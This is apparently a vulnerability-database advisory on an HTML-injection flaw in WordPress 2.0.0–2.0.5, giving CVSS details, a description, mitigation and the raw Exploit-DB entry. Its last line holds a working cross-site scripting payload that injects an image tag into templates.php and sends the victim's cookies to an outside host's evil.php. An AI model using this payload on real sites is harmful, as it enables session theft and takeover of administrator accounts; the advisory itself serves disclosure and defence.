Wordpress HTML-injection Vulnerability

vendor:

Wordpress

by:

SecurityFocus

7.5

CVSS

HIGH

HTML-injection

CWE

Product Name: Wordpress

Affected Version From: 2.0.0

Affected Version To: 2.0.5

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

WordPress HTML-injection Vulnerability

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied data does not contain malicious HTML or script code.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/21782/info

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. 

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to 2.0.6 are vulnerable to this issue.

< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >